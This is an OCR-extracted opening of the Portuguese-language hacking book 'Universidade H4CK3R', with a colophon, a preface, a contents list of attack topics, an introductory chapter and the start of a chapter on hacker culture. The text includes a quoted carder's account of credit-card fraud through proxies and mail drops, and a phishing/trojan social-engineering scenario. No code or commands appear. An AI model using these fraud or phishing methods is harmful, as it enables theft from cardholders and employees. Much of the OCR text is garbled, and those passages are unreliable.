Você está na página 1de 331

- -

unlversloaoe
Jniversidade H4CK3R I
Contedo extra
No Co: alm das ferramentas hackers, voc encontra os apndices do livro
em formato POF na ntegra.
Na Internet: basta se cadastrar no site www.digerati.comllivros para ter aces-
so s atualizaes, erratas e ao material que preparamos especialmente para
complementar seus estudos. Atravs da pgina voc tambm poder enviar
e-mails com dvidas, crticas ou sugestes para o editor ou para os autores.
universidade
-
4a EDICAO
,
HENRIQUECESARULBRICH
JAMESDELLAVALLE
IUniversidade H4CK3R I
@2004 by Digerati Books
Todos os direitos reservados e protegidos pela Lei 5.988 de 14/12/73.Nenhuma
parte deste livro, sem autorizao prvia por escrito da editora, poder ser
reproduzida ou transmitida sejam quais forem os meios empregados:
eletrnicos, mecnicos, fotogrficos, gravao ou quaisquer outros.
Editor: Luis Matos
Projeto grfico e Arte: Mau rcio Costato
Capa: Jos Antonio Martins
Ilustradores: Daniel Brito e Helber Bimbo
Revisoras: Angela das Neves, Cntia Yamashiro e Priscila Cassetari
Produo do CD-ROM: Marcelo Bruzzesi, Simone Ribeiro de Carvalho,
Raphael Pansutti e Gunther Khun
Autores:
Ulbrich, Henrique Cesar
Della Valle, James
Universidade Hacker - 4a Edio
Digerati Comunicao e Tecnologia Ltda.
Rua Haddock Lobo, 347 - 12andar
CEP 01414-001 So Paulo/SP
Fone: (11)3217-2600 Fax: [11J3217-2617
www.digerati.com
Diretores
Alessandro Gerardi - Igerard/@digerat!:combrJ
Luis Afonso G. Neira - lafonso@digerat/combrJ
Alessio Fon Melozo - lalessio@digerat!:combrJ
Gerente de Vendas: Pierre Abreu Ivendas@digerat/:combrJ
Divulgao: rica Cunha lerica@digerat!:combrJ
Assessoria de Imprensa: Simone Siman Isiman@digerat!:combrJ
ISBN: 85-89535-01-0
141
I Prefcio I
No de hoje que o hackerismo fascina milhares de pessoas em todo o mundo.
Vrias imagens foram criadas sobre os hackers1, algumas colocando-os como
justiceiros, com poder de combater e desfalcar grandes corporaes; outras,
mostrando-os como simples bandidos atrs de uma forma ilcita de obter lucro,
seja roubando dinheiro ou informaes sigilosas. H ainda uma terceira viso
que coloca o hacker como um pesquisador, algum que busca sempre aprimorar
seus conhecimentos atravs do estudo de sistemas alheios.
Ao mesmo tempo em que exercem fascnio, eles tambm amedrontam
usurios e particularmente empresas, que temem ser invadidas e ter dados
confidenciais roubados.
H muito tempo os hackers atuam, mas inegavelmente foi no incio de 2000
que eles ganharam as manchetes de jornais e revistas em todo o mundo. Durante
trs dias, na primeira quinzena de fevereiro daquele ano, uma ao coordenada
por um grupo de hackers prejudicou o funcionamento e gerou grande prejuzo
a sites muito populares como Yahoo!,Amazon, eBay,ZDNet, Buy.com e CNN.com.
Aao foi realizada com um artifcio considerado simples, chamado DoS (Denial
of Service, recusa de servio). Nesse tipo de ataque, os hackers no entram nos
computadores das vtimas para roubar informaes. Eles simplesmente os
bombardeiam com uma quantidade to grande de dados que o acesso a elas fica
bloqueado. Identificar os hackers que fazem esse tipo de ataque especialmente
difcil porque eles usam milhares de mquinas espalhadas pelo mundo, sem que
1 Neste livro usamos a palavra hacker em seu significado mais popular. Entretanto, sabemos que o sentido corre-
to da palavra hacker outro, mais abrangente. Hacker o sinnimo de especialista, em qualquer rea. Se o seu
jardineiro, por exemplo, for muito bom, ele pode ser considerado um "hacker em jardinagem".
IUniversidade H4CK3RI
os donos se dem conta. Esses computadores funcionam como "escravos" sob o
comando de um mestre a distncia, que invadiu e dominou esses equipamentos
que, na maioria das vezes, possuem conexo de acesso rpido Internet.
Passados trs anos desse episdio em que o mundo olhou pela primeira vez
com um certo medo a ao dos hackers, as empresas se armaram, contrataram
especialistas, novos sistemas de segurana foram desenvolvidos e as equipes
foram treinadas para evitar invases.Tambm uma infinidade de ttulos mostrando
como agiam os hackers foi lanada.
O resultado? Os hackers continuaram agindo e aumentando seu poder de
fogo cada vez mais. Para se ter uma idia, em 21 de outubro de 2002, um
poderoso ataque conseguiu derrubar nove dos 13 servidores que gerenciam o
trfego mundial da Internet. Na poca, um oficial do gov~rno americano
descreveu o ataque como a invaso mais sofisticada em grande escala j feita
em toda a histria da Internet contra computadores de misso crtica.
Por que os hackers ainda continuam agindo? Por que os administradores no
conseguem barrar sua ao? A resposta para essas e muitas outras perguntas
podem ser conferidas nas prximas pginas. Pela primeira vez, um livro
mergulhou fundo no universo hacker para revelar as mais modernas tcnicas
usadas e as diferentes motivaes que os levam a continuar atacando.
Seja bem-vindo a Universidade Hacker.
Luis Matos
161
I Sumrio I
Prefcio 5
Parte I 15
Universidade1Ano: Formando o Script Kiddie
O. AuLa Inaugura L 17
- Informao: A chave de tudo 18
- Omito hacker 19
- Mocinho ou vilo 20
- Descaso das empresas 20
- Avalanche de ataques 21
- Bem-vindo s aulas 22
1. PsicoLogia Hacker 25
~ overdadeiro hacker e o hacker mostrado na mdia 26
~Sopadeletrinhas: Hackers, crackers, phreakers 28
~Oqueso, como pensamecomo agem 30
- Aprendizado 30
- Comprometimento 31
- Compartilhamento 31
- Ei!Isso importante! 32
~Por quealgum gastaria tempo edinheiro numa invaso? 33
2. RedesI 35
~ 1ntrod uo 36
- Conceituao 36
~ Estrutura fsica 37
- Equipamento adicional 38
- Abrangncia 38
~Topolog ias 39
- Principais topologias 39
~ Protocolos 41
- Como funcionam 42
- Matrioshka 44
~Ethernet 45
~Omodelo OSI 47
- Camadas 47
- Um exemplo prtico 50
~ SPX/ IPX 52
- Camadas 52
~ NetBIOS / NetBEUI/ 5MB/ CIFS 53
- Camadas 54
~AppleTalk 55
- Camadas 55
171
I Universidade H4CK3R I
~TCP1iP 55
- Camadas 55
- Entendendo o TCP/!P 56
- Oprotocolo /P 56
- Endereo /P 57
- Mscara de Rede 57
- TCP/UDP 57
- Portas 57
- DNS 57
- ARP ... 57
~ Laboratrio de Redes I 58
- VVtndows9.x 59
3. PLataformaWindows 63
~As "famlias" Windows 64
- Famlia VVtn9x 64-
- Famlia VVtnNT 65
~ Nos bastidores 66
- Estrutura 66
- Entidades 68
~ Como mesmo que fao aquilo 76
- Os arquivos /N/ 76
- Registrar o qu? 77
- Estrutura do registro 78
- CLS/D? 79
- Um pouco de graxa para os cotovelos 80
- Otesouro 81
~Where to, buddy? , " 83
4. PLataformas Unix 85
~ omodelo Unix de sistemas operacionais 86
-Apenas umjogo de computador 87
- POS/X ...... 88
- Dezenas de sabores sua escolha... 89
~As entranhas da fera 89
- Estrutura 90
- Sistema de arquivos 90
~ Ocerne da questo 93
- Dispositivos 95
- Processos Ino, no papo de advogado I 96
- 5; poderia me fazer um favor? 97
- Comunicao entreprocessos 98
- SInais e semforos 99
~ Na praia catando mexilhes 101
- MInha coleo de conchas 102
- Script for a .Jesters tear 102
- Todos os segredos esto no/etc 103
- /nittab and the Runlevels (parece banda de rock, mas no ... 103
181
- Outras gemas ... 105
~ Omeu eu quero de flocos... 106
- Free as in free speech 106
- A dana dos pingins 107
- Odiabinho que rL 108
~Voucan go your own way... 108
5. Fundamentos Jurdicos 111
~ Por que a sociedade teme os "hackers"? 112
~As liberdades individuais e o direito privado 113
~ Odireito informao e os ataques liberdade 114
~Alegislao brasileira 115
~ Leis internacionais aps o dia 11de setembro de 2001 118
- Nos Estados Unidos 118
- Na Europa 119
~ Casos de hackers famosos 119
- Orusso que 'nackeou" a Adobe 119
- Ohackermais famoso do mundo 120
6. Engenha ria Sacia L 123
~Ateno: isso crime! 124
~Tipos de ataq ue , 125
- Ataque direto ... 125
- Ataque indireto 125
~ Mtodos utilizados , , 125
- Disfarces , ... 126
- Olixo rico I , 126
- Funcionrios descontentes e redes de contatos 127
- Oapelo sentimental. 127
- Programao neurolingstica. 127
-A utilizao da Internet 127
- Ofator sorte ,... 128
- Navegando no mar proIbido 128
~ Casos rea is , ... 128
- Abraham Abdallah 129
- Kevin Mitnick 129
7. VuLnerabiLidades I 131
~ Noes de vulnerabilidade " 132
- Superlammers e sua viso de Raio-X 133
~Osquatro passos para um hackingfeliz , 134
~Search and Destroy 136
- Logins fracos 136
- Arrombando aporta da frente 136
- Sem quebrar o ovo no se faz omelete 138
- Scanners 141
- Portscanners 141
- Funcionamento de um scannerde portas 143
191
IUniversidade H4CK3RI
- Scanner de vulnerabilidade , 144
- Exploits 145
~EmTria, comoosgregos... 146
~Asfalhas desegurana mais comuns emmicros domticos 148
- TCPSYNScanningversusWndows98 148
- Compartilhamentos em computadores Wndows (SMB/ClFS) 148
- Servios desnecessariamente ligados 150
- Buffer Overflow nos servios de Remote Procedure Cal! 151
~ Laboratrio de Vulnerabilidades I 151
~ Configurando o servidor 152
- Juntando as coisas 153
- Porta dos fundos 153
~ Consideraes finais ,... 154
Parte 11
Universidade 2 Ano: O caminho de um Voyager 155
8. Redes II 157
~ TCP/IP: o incio 158
~ 051 versus TCP/IP 159
- Camadas dos protocolos de rede 160
~ Protocolo IP , 160
- Opacote IP 161
- Endereamento IP , 164
- Redes e Hosts 165
~ Protocolo TCP 166
- Opacote TCP 167
- Portas TCP 169
- Os bits de controle TCP 171
~ Protocolo UOP 172
~ Protocolo ICMP 173
~ Laboratrio de Redes 1I 176
~ Rotea mento 178
~ Internet 179
~ Sub- redes 179
~ Redes Wi reless 180
- Rdio 180
- IEEE 802.11 180
- Infravermelho 180
- Bluetooth ... 181
- 6SM 181
- 2,56 181
- 36 181
- W'Fi' 181
9 Vulnera biLidades II 183
~ Navegando anonimamente 185
- Proxies pblicos 185
- Proxies privados 188
- Squid ,.. ... 190
- WinGate . 190
~Anonymous remailers 191
~ Furando firewalls 193
- Firewa!!s 194
- Filtros de pacotes 194
- Proxies 196
- Filtros de pacotes por estado (SPF/ 197
- Pesquisando as regras do filtro de pacotes 197
~Servidores Web 198
- Apache 199
- Sun ONE/iPlanet 199
- Microsoft Internet Information Services (115/ 200
- Common Gateway Interface (CGI/ 201
- PHP e ASP 202
~ Defacements ,... 203
~ Banco de Dados 204
- Conectando diretamente viaInternet 204
- Senhas na Web (teoria x prtica/ 205
~ Estamos todos vulnerveis? 209
Parte 111
Universidade 3 Ano: Tornando-se um Hacker 211
10. Ataque, defesa e contra-ataque: Introduo 213
~ Os seis passos para um hacking feliz 214
- Oportal 217
- Passos para hacker fulano de tal 221
- Uma palavra final sobre planejmento 223
11. Ataque, defesa e contra-ataque: Observao 225
~ Engenharia Social 226
~A9ra nde teia 227
- OGoogle seu amigo 227
- At tu, Brutus? 229
- Quem esse cara? 229
~ Sign your name across my heart 230
~ Defesa e contra-ataque 232
12. Ataque, defesa e contra-ataque: Busca 235
~ Cartografia aplicada Internet 236
- Varre, varre, vassourinha... 237
-Argh! Mas isso d trabalho! 240
/11 /
I Universidade H4CK3R I
~ Procurando portas abertas 240
- Escolhendoasportas de origem 241
- Varrendo sob o tapete 242
- Impresso digital na Web 243
- Tem mais? ... 243
~ Procurando brechas ... 243
~ Defesa e contra-ataq ue """""""""""""""'" 244
13. Ataque, defesa e contra-ataque: Invaso 247
~A invaso em etapas 248
~War Dialing + Brute Force 249
- Conhea suas armas 249
- Ah, a fora bruta to linda... 251
~ Entendendo o estouro de pilha 252
- Umamontoado decoisas... 252
-As pilhas no reino digital 253
- Debug in on the table 257
~ Ganhando acesso por estouro de pilha 259
~ Ganhando acesso a outras contas 263
- Mtodos para descobrir usurios esenhas 264
- Quebrando senhas no Windows 265
- Quebrandosenhasno Unix 267
~ Ganhando acesso e destruindo a rede 268
- War Driving e War Chalking """"""""""""""""""""""""""'''''''''''''''''''''''''' 268
- Indo alm do SQL Injection... 269
- Farejando a rede (SmffingJ 270
- Smffing passivo """""""""" 273
- Sniffing ativo 275
- Escolhendo seu sabujo 277
- Farejando na prtica 282
- Quando a caa v 285
~Who can you trust? 286
~ Captura de sesses [Hijacking] 290
- Selecionando seus combatentes 293
- Seqestro na prtica 295
- Outros mtodos de desviar trfego 297
- Navegao de servio 298
- Masters and Slaves 305
~ Defesa e contra-ataque 306
- WarDialing Brute Force 306
- Quebra de senhas 307
- Negao de servio 309
14. Ataque, defesa e contra-ataque: Manuteno 313
~Backdoors 314
- Portas de trmaliciosas 315
- Novamente,'Attu,Brutus?" 316
~Vrus e Cavalos de Tria 319
112 I
- Mais uma vez, Vrus 319
- Vrusaindaindetectveis., 319
- Indo alm dos Cavalos de Tria 320
- There is no spoon 323
~ Comunicao sem conexes 326
- Ouvindo moucos 326
- Farejando problemas ... 327
- Atualizando a camuflagem 328
- Layer-O: como funciona 329
~ Defesa e Contra -ataq ue 331
- Backdoors, Vrus e Cavalos de Tria 331
- Comunicao sem conexes , 334
~ Estamos quase l 335
15. Ataque, defesa e contra-ataque: Evaso 337
~o bsico: apagando os logs ,... 338
- Registro de eventos Unix 339
- Registro de eventos no Microsoft NT/2k/XP 345
~ Escondendo suas conexes 346
~ Defesa e Contra-ataque 347
- Apagamento de logs ,.. 347
- Camuflagem de conexes 347
~ Uma despedida? 348
Apndices no CD
~ Introduo aos Sistemas Operacionais
~ Plataformas Novel Netware
~ Programao I
~ Programao II
~ Hardware
~ Informtica bsica
~ Um pouco de histria
~ OKernel do MS-DOS
~ Histria da Internet
~ B-a-B do Unix
113 I
Universidade 10Ano:
Formando o Script Kiddie
Aula Inaugural
caPtuLoO
''ideologia. Eu quero
uma pra viver!"
Cazuza
IUniversidade H4CK3R I
Aula inaugural
"Meu crime a curiosidade, subestimar os mais poderosos mesmo quando
errados. Meu crime saber tudo sobre todos, ser mais esperto. Estou preso,
mas por uma causa justa".
A frase acima foi proferida por um hacker que foi preso acusado de tentativa
de extorso. Ela no somente reveladora de seu pensamento, mas, de forma
geral, expressa o pensamento de boa parte da comunidade hacker.
Na maioria das vezes, o que move um hacker em suas incurses por sistemas
alheios a adrenalina produzida pelo risco combinando com a satisfao da vitria.
Muitos pensam que esto em uma guerra, na qual matar ou morrer significa
invadir ou no o sistema.Tudo tem de ser bem pensado para conseguir o objetivo
fmal e o risco algo que aumenta a adrenalina. Quanto mais difcil, melhor.
Poderamos dizer que o hacker somente uma pessoa em busca do
conhecimento, de desvendar mistrios, de invadir a linha do inimigo para saber
seus segredos e alertar a todos sobre o que viu?
No, certamente no. Estamos desconsiderando um fator muito importante.
Imagine voc tomar contato com o nmero do carto de crdito de 10 mil
pessoas, ou mesmo ter acesso a informaes extremamente sigilosas sobre
empresas. Poucos resistiriam tentao de fazer uso dessas informaes. Alguns
pensariam: vou usar somente um nmero de carto uma nica vez e depois eu
paro. como uma pessoa se vicia na droga, no? Uma primeira vez, uma segunda,
e quando v no consegue se livrar do vcio.
Sem contar que o hacker tambm tem de lutar contra sua vaidade. Invadir
somente no tem nenhum mrito se os outros no ficarem sabendo. No
verdade? A a vida do hacker comea a se complicar.
Informao: a chave de tudo
Como num combate real, tudo vlido para obter uma informao que ajude
no acesso ao sistema. Kevin Mitnick, considerando um dos maiores hackers de
todos os tempos 1, se especializouem uma tcnica batizadade engenhariasocial.
Para compreender melhor como todos podem ser facilmente enganados por
hackers malintencionados, acompanhe o relato feito recentemente por Mitnick
em entrevista revista PC Brasil, publicada pela Digerati Editorial.
"00. Imagine que voc est trabalhando para uma corporao.Ao entrar em um
elevador, nota que algum deixou cair um disquete no cho. O disco tem
estampado o logo da empresa e traz uma etiqueta que diz: "Confidencial:
histrico salarial de todos os funcionrios". Diante disso, qual a primeira
1 Apesar dos hackers realmente bons nunca serem pegos
J I
Aulainaugural [
providncia que voc tomaria? Movidos pela curiosidade, colocamos o disquete
na mquina e abrimos o arquivo para ver seu contedo. Talvez exista um cone
para um documento do Word chamado "arquivo de folha de pagamento" ou
"histria salarial". Provavelmente clicaramos para comparar nosso salrio com
o dos demais. O que acontece, ento? Voc v uma caixa de mensagem que diz
algo como "o aplicativo no pde ser aberto" ou "arquivo falho". O que a maioria
no sabe que um cavalo de tria acaba de ser instalado, o que permitir que
um intruso a invada.Voc vai devolver o disco para o setor de recursos humanos,
onde algum vai verific-Io - agora o hacker tem acesso a dois computadores.
Esse um exemplo de ataque indireto.
Um ataque direto aquele em que o invasor se comunica diretamente com a
vtima via telefone, fax, e-mail ou at pessoalmente. Na maioria dos casos, o ataque
no personalizado - visa outro empregado, por exemplo - e tenta persuadi-
los para que revelem informaes, instalem softwares ou acessem um site que
prejudique a estrutura computacional da empresa.
Digamos que um hacker queira atingir a John Wiley & Sons. Ele ou ela deve
construir um web site que parea totalmente confivel. O site tem um programa
de registro e pede aos usurios que coloquem um login e uma senha. O invasor
ento envia um e-mail para mil empregados da Wiley, encorajando-os a
registrarem-se em troca de um prmio. O e-mail tambm contm um link para o
website criado pelo invasor. Digamos que 10%dos empregados que recebem o
e-mail realmente respondam. Esuponhamos que 10%dos registros usem a mesma
senha do servio (para no ter de decorar vrias senhas). Com apenas 25
endereos de e-mails e senhas, o hacker tem formas variadas de acessar o sistema
computacional da Willey".
o mito hacker
Muito mais do que um especialista, o hacker considerado por muita gente
como um criminoso. Aquele indivduo do qual as empresas devem se proteger,
pois ele pode a qualquer momento invadir sua rede de informao provocando
srios prejuzos. tambm aquela pessoa que pode vir a roubar dados, senhas e
nmero de cartes dos usurios que fornecem essas informaes para as
empresas nas quais fazem compras.
Essa imagem alimentada por alguns grupos hackers que agem
verdadeiramente como criminosos, e apossando-se de dados confidenciais e
fazendo uso destes. Veja este relato:
"O maior golpe foi a compra de trs laptops de uma vez na Semp Toshiba, que
foi feita normalmente, num sbado noite.Abri meu Opera, pus meu proxy e fui s
compras. Bom, o total foi 14 mil dlares, e a compra foi aceita, parcelada no
119 I
]Aula inaugural
I Universidade H4CK3R I
carto em 6 vezes. Mas o dono do carto cancelou e meu pedido no veio (essa
parte a pior: cancelamento da compra). Mas isso foi h muito tempo, no incio.
Agora, ns compramos muitos livros, softwares, domnios, notebooks, etc.
Uma das minhas compras bem-sucedidas foi de um CD-ROMe um monitor de
1T, tela plana, com valor de 2 mil dlares, mas no fiquei com nada, vendi.
No caso da compra na Semp Toshiba, que foi cancelada um dia depois, o
endereo da entrega era da lanbox (lanbox um P.O. Box dos EUAque
redirecionado ao seu endereo verdadeiro), e a entrega do CD e do monitor foi
na casa de um amigo..." 2
Mocinho ou vilo?
Como tudo na vida, no possvel generalizar os diferentes tipos de hackers, nem
rotular todo esse imenso grupo da mesma forma.Tambm imprescindvel destacar
que os hackers, mesmo que algumas vezes involuntariamente, acabam ajudando a
revelar bugs em softwares e problemas existentes em redes, que poderiam resultar
em graves conseqncias para usurios de redes corporativas ou da Internet.
Um exemplo disso foi dado em um dos maiores ataques cibernticos da histria
realizado em outubro de 2002, que derrubou boa parte dos principais servidores
dos EUA.Ele mostrou alguns furos importantes na segurana da Internet, que
so at conhecidos. Mas tambm revelou outra coisa: a superconcentrao de
servidores nos Estados Unidos. Apesar de ser uma rede que chega a quase todos
os pases do mundo, ainda 70% das mensagens passam por servidores ou
roteadores norte-americanos. No estamos mais nos velhos tempos, em que a
quantidade esmagadora de internautas era americana. Portanto, mudanas devem
ser feitas seguindo o esprito que criou a prpria Internet: a descentralizao da
comunicao. Alis, isso um importante fator de segurana bsico, mas
totalmente esquecido. Quando a maior parte do trfego da Internet fica
concentrada em pouco mais de dez superservidores, fica mais fcil organizar
um superataque. "Nunca coloque todos os ovos no mesmo cesto." 3
Descaso das empresas
Muitos bugs que permitem a ao de criminosos poderiam ser facilmente
corrigidos, mas muitas companhias preferem fazer vistas grossas a esses
problemas, sendo, em muitos casos, at bastante displicentes. o que mostra
uma pesquisa feita pela Mdulo Security Solutions4, empresa especializada em
segurana. Segundo os dados coletados, a segurana da informao fator
importante para 45%dos executivos, sendo que 16%a consideram crtica e 32%
a classificam como vital. Mesmo assim, a falta de conscientizao dos executivos
2 Trecho de entrevista do Hacker cshr, membro do cl CarderBR, revista H4CK3R
3 Voc deve conhecer este ditado, no ? Parece que os americanos no...
4 Pesquisa divulgada no flnal de 2002
20 I
Aula inaugural[
(45%) e dos usurios (38%) foram apontadas como os principais obstculos
para implementao da segurana nas corporaes.
Um dado revelado pela pesquisa extremamente preocupante: 43% das
empresas reconheceram ter sofrido ataques nos ltimos 12 meses, representando
um aumento de 10%em relao a 2001, sendo que 24% das ocorrncias foram
registradas nos ltimos seis meses. Mas o pior de tudo que 32%no souberam
informar se foram atacadas ou no e, apesar da expectativa de aumento nos
problemas com a segurana e o crescimento no ndice de registros de ataques e
invases, a pesquisa mostra que apenas metade das empresas brasileiras (49%)
possuem planos de ao formalizados em caso de ataques.
Outro dado interessante aponta que os hackers (48%) foram os maiores
responsveis por ataques e invases em 2002, representando um aumento de
15%com relao a 2001. Em segundo lugar vm os funcionrios, que passaram
de 24 para 31%. Surge tambm uma nova ameaa, no registrada na pesquisa
anterior: a categoria ex-funcionrios, que registrou 8%. O percentual relativo a
prestadores de servio passou de 3 para 12%e o dos concorrentes de 1 para 4%.
O pior de tudo que a percepo de falta de segurana nas transaes continua
sendo o maior obstculo para o desenvolvimento de negcios digitais em escala
global. So nada menos do que 66% os usurios que deixam de comprar pela
Internet por causa da sensao de falta de segurana.
Avalanche de ataques
Todos sabemos que h vrios fatores que contribuem para a intensa atividade
hacker. Para comear, h muitos sites inseguros. Um estudo do Gartner Group
estima que 2/3 dos servidores da Web no mundo podem ser invadidos de alguma
forma. Outro fator que estimula a atividade hacker a ampla disponibilidade de
ferramentas de ataque na Internet. Qualquer adolescente com tempo livre e
conhecimentos tcnicos medianos consegue encontrar as informaes e os
softwares necessrios para uma invaso. Mas o principal motivo ainda a
impunidade. Os poucos policiais que investigam crimes digitais no Brasil no
conseguem atender a todos os casos. Alm disso, a falta de uma legislao
especfica dificulta a punio do culpado, se bem que alguns hackers podem ser
enquadrados com base no Cdigo Penal de acordo com o crime praticado.
Para se ter uma idia da quantidade de aes hackers, um estudo da
Universidade da Califrnia mostrou que os hackers tentam realizar mais de 4
mil ataques do tipo DoS(Denial ofService) todas as semanas, um nmero bastante
impressionante e que mostra que h muito do que se proteger no mundo virtual.
I 21 I
]Aula inaugural
IUniversidade H4CK3R I
Bem-vindo s aulas
"Na hora de tentar invadir um site, meu corao disparava e a adrenalina ia a
mil por hora. O medo de ser pego, junto com a perspectiva de vitria e sucesso,
causava uma euforia tamanha que no d para descrever. Depois que todo mundo
fica sabendo do seu feito, a s curtir a fama".
Relatos como esse, feito por hackers, podem at pintar um mundo cheio de
aventura e emoo para quem invade sites e sistemas. Mas a verdade que no
bem assim. Nas prximas pginas voc ter a oportunidade de conhecer muito
desse universo hacker, aprendendo a teoria e exerccios prticos para quem
deseja dominar as tcnicas hackers. Nem seria preciso dizer que nosso objetivo
formar pessoas extremamente conhecedoras em informtica que possam usar
esses conhecimentos para trabalhar com segurana, desvendando
vulnerabilidades e buscando solues.
Organizamos os assuntos ao longo do curso de forma a preencher as
necessidades do aluno. Entretanto, entendemos que muitos j "iniciados" vo
ler este livro. Portanto, separamos os assuntos em trs grandes grupos: pr-
requisitos, hackerismo bsico e hackerismo avanado. Deixamos no livro
impresso os assuntos sobre hackerismo, e o que consideramos como "pr-
requisito" (programao, sistemas operacionais e hardware ) inclumos no CD-
ROM como apndices.
Assim, suprimos as necessidades de quem est comeando "do zero" e no
penalizamos o "iniciado" com pginas cheias de coisas que ele j sabe.
O uso indevido das informaes aqui prestadas, bem como de informaes
apresentadas em qualquer livro, seja ele sobre redes, servidores de Internet,
sistemas operacionais, programao e outros, so de inteira responsabilidade de
quem as utilizou. Vale lembrar que no momento em que este livro foi redigido j
estava em vigor a nova lei de crimes digitais no Brasil e a Homeland Security Act
nos Estados Unidos. Alm disso, preciso considerar que todos os infratores
esto sujeitos legislao do Cdigo Penal e do Cdigo Civil no pas.
Portanto, aproveite as prximas pginas para ampliar seus conhecimentos em
diferentes tpicos do mundo da informtica e para se tornar um verdadeiro
especialista em segurana. E, o principal, use com responsabilidade este
conhecimento.. .
Luis Matos
~2 I
Aula inauguraq
Captulo
1
"S digno de seu poder aquele que o
justifica dia aps dia "/
Dag Hammarskjold
Secretrio-geral da ONU e Prmio
Nobel da Paz de 1961
I.As citaes deste livro esto todas em suas lnguas originais, exceo
desta. Como foi um discurso nas Naes Unidas (e, portanto, oficialmente
traduzido para vrias lnguas), preferimos coloc-Ia em portugus.
I Universidade H4CK3R I
Sim, ns sabemos. Voc comprou este livro para obter informaes tcnicas.
Mas ns no adotamos esse modelo de curso universitrio toa: existem certas
coisas fora da esfera tecnolgica que voc precisa conhecer, mesmo que no
esteja muito interessado nelas. Assim como na faculdade de Direito estudamos
economia e na de Engenharia Eltrica estudamos administrao, aqui em nosso
Curso Superior de Hackerismo teremos de estudar o comportamento e o modo
de pensar das pessoas que dedicam sua vida a essas atividades.
Se voc comprou este livro pensando em "virar um rquer" (como diria Susumo
Pop, guitarrista, hacker do Linux e bancrio nas horas vagas), provavelmente
tem uma noo do que vamos tratar aqui. Parece bvio que voc o saiba, j que
quer ser um deles. Recomendamos a leitura deste captulo, entretanto, pois pro-
vavelmente voc tem idias completamente distorcidas ou romantizadas do
que significa ser um "hacker" (note as aspas). Talvez, aps a leitura deste captu-
lo, voc queira mudar de postura e tornar-seo que se constuma chamar de"hacker
de verdade"; talvez desista de tudo e v viver de pesca em Cabo Frio ou mesmo
continue com sua idia inicial de pixar sites e invadir computadores.
Se, por outro lado, voc comprou este livro pensando em como deixar sua rede,
seu servidor Unix ou as estaes Mac e Wmdows de seus fimcionrios mais seguras,
esta introduo obrigatria. De nada adianta estar antenado no Security Focus ou
nos hotfixes da Microsoft e configurar de forma paranica seu binmio
Firewa1l+AntivtrUs, se voc no compreender como fimciona a cabea de quem o
invade. Acredite, voc v seu sistema pelo lado de dentro. Seus inimigos o fazem
pelo lado de fora. A perspectiva pela qual os invasores enxergam sua rede no
pode sequer ser imaginada se voc apenas "segue a cartilha".
o verdadeiro Hacker e o ~~Hacker"mostrado
na mdia
Notcia veiculada em uma revista de grande circulao: "Emsetembro de 2000,
um hacker invadiu uma indstria de brinquedos britnica"... O que podemos
depreender dessa frase pela forma como est escrita? Temos duas possibilidades:
1 Que uma pessoa usou seus conhecimentos de hacker para invadir o site
daquela indstria. Nessa interpretao, a palavra hacker no est associada
bandidagem, mas habilidade dele em relao aos sistemas de informao. Ele
usou esses conhecimentos para o mal, no sendo o conhecimento em si algo
malfico.
2 Que existe uma nova classe de bandidos digitais chamados" hackers", e
um deles invadiu o tal site. Nessa interpretao, a palavra hacker quer dizer,
literalmente, criminoso digital.
1261
Psicologia Hacker r
Universidade 1ano
Um outro exemplo talvez seja mais esclarecedor. Imagine um ataque terroris-
ta no Pas Basco, regio da Espanha. O ataque foi realizado por guerrilheiros do
grupo separatista basco ETA,visando independncia do que julgam ser sua
terra. A notcia poderia ser veiculada da seguinte forma:
"Uma bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um basco, guerrilheiro do grupo sepa-
ratista ETA,assumiu o atentado".
Nesse pargrafo est implcita a idia de que todo basco guerrilheiro e per-
tence ao ETA.O sujeito da orao basco e no guerrilheiro do ETA.Deixando
a frase dessa forma, dizemos que quem explodiu a bomba foi um cidado basco
que tem como adjetivo ser guerrilheiro do ETA.Uma notcia como esta poderia
ser melhor escrita da seguinte maneira:
"Uma bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um guerrilheiro do grupo separatista
basco ETAassumiu o atentado".
Pronto! Agora temos a palavra guerrilheiro como sujeito da orao. Esse guer-
rilheiro tem como adjetivo a orao "do grupo separatista basco ETA".Ou seja,
ele , sim, basco. Mas no necessariamente todo basco tem a obrigao de ser
membro do ETA.
Um outro exemplo: um padre acusado de pedofilia. A manchete poderia
ser "padre processado por pedofilia, estupro e seduo de menores". De maneira
anloga dos hackers, poder-se-ia depreender da que h uma nova categoria de
tarados chamados padres. Obviamente isso no verdadeiro, mas o que a
redao sem cuidado pode fazer por uma categoria profissional decente.
A imprensa comeou a prestar mais ateno aos hackers no [mal da dcada
de 80. Supomos que os primeiros jornalistas que escreveram manchetes sobre
ataques digitais tinham a inteno de usar a palavra em seu sentido correto.
Entretanto, construes frasais ambguas certamente levaram os leitores, ouvin-
tes e telespectadores a associar erroneamente a palavra hacker com o signifi-
cado de criminoso digital. Tal erro nunca foi corrigido, e hoje vemos o signifi-
cado incorreto do termo sendo consagrado.
Aquela manchete da nossa revista ficaria melhor se reescrita assim: "Em se-
tembro de 2000, um especialista em informtica usou seus conhecimentos de
hacker para invadir uma indstria de brinquedos britnica...". Talvez a manche-
te pudesse ser mantida, mas um esclarecimento no primeiro pargrafo (ou mes-
mo em um dos olhos da matria) seria necessrio.
Este livro, a contragosto dos autores, simplifica o termo hacker para seu
significado popular e incorreto: criminoso digital. Sabemos que no do inte-
resse da comunidade hacker que esta confuso continue. Para fins didticos
usaremos o termo popular, mas sempre com ressalvas dentro do texto ou no
rodap da pgina.
1271
]Psicologia Hacker
I Universidade H4CK3R I
Sopa de letrinhas: hackers, crackers,
phreakers...
Antes de tentarmos entrar na alma de nossos queridos rebeldes, temos de
fazer uma distino entre eles. H uma certa hierarquia imposta aos que deci-
dem iniciar sua jornada pelo conhecimento da Tecnologia da Informao. Eles
costumam se agrupar em sociedades secretas comumente chamadas de cls.
Alguns agem (e gostam de agir) sozinhos. Outros atuam soz,inhos e atribuem
suas aes a todo um cl to numeroso quanto fictcio.
Nem todos desejam realmente ser criminosos. Alguns agem por motivaes
que vo de torpes a nobres, passando pela estultcie. Mas tanto os "bons" quan-
to os "maus" hackers so rebeldes e vivem em um mundo que possui suas
idiossincrasias, seus folclores e mesmo suas crendices. A estratificao deles
em camadas2 um dos folclores desse meio. bvio que essa diviso varia de
cl para cl. Em alguns, essa classificao aceita como regra, em outros ape-
nas informalmente. Muitos a abominam, taxando-a de tola e infantil, mas vez
por outra acabam usando um termo desses em algum canal de IRe.
